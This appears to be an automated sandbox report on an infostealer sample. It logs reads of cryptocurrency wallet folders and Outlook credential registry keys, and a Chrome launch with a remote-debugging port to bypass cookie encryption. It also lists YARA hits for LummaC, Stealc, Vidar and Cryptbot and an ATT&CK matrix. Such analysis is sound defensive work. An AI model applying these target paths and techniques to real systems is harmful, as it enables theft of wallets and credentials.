Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe

Directory queried: number of queries: 1647

Source: Yara match	File source: 00000010.00000003.2852306554.0000000000949000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2633659651.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2647481918.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2634220328.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2777649984.0000000000947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2792881195.0000000000944000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2792252572.0000000000942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2771398347.0000000000947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2777872776.0000000000947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 3796, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000003.2901679632.00000000083B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2949042324.00000000061C1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2722879567.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2809403050.00000000054D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2727708833.0000000000CF1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2902060448.0000000000CF1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1679108909.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2039853324.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2680020394.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2038805274.00000000002D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d357e68128.exe PID: 6912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d357e68128.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7300, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0C40 sqlite3_bind_zeroblob,	0_2_6C7D0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0D60 sqlite3_bind_parameter_name,	0_2_6C7D0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8EA0 sqlite3_clear_bindings,	0_2_6C6F8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C7D0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6410 bind,WSAGetLastError,	0_2_6C6F6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6070 PR_Listen,	0_2_6C6F6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C6FC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC030 sqlite3_bind_parameter_count,	0_2_6C6FC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F60B0 listen,WSAGetLastError,	0_2_6C6F60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6822D0 sqlite3_bind_blob,	0_2_6C6822D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F63C0 PR_Bind,	0_2_6C6F63C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9400 sqlite3_bind_int64,	0_2_6C6F9400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F94F0 sqlite3_bind_text16,	0_2_6C6F94F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F94C0 sqlite3_bind_text,	0_2_6C6F94C0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0021EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	11_2_0021EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0021DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	11_2_0021DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
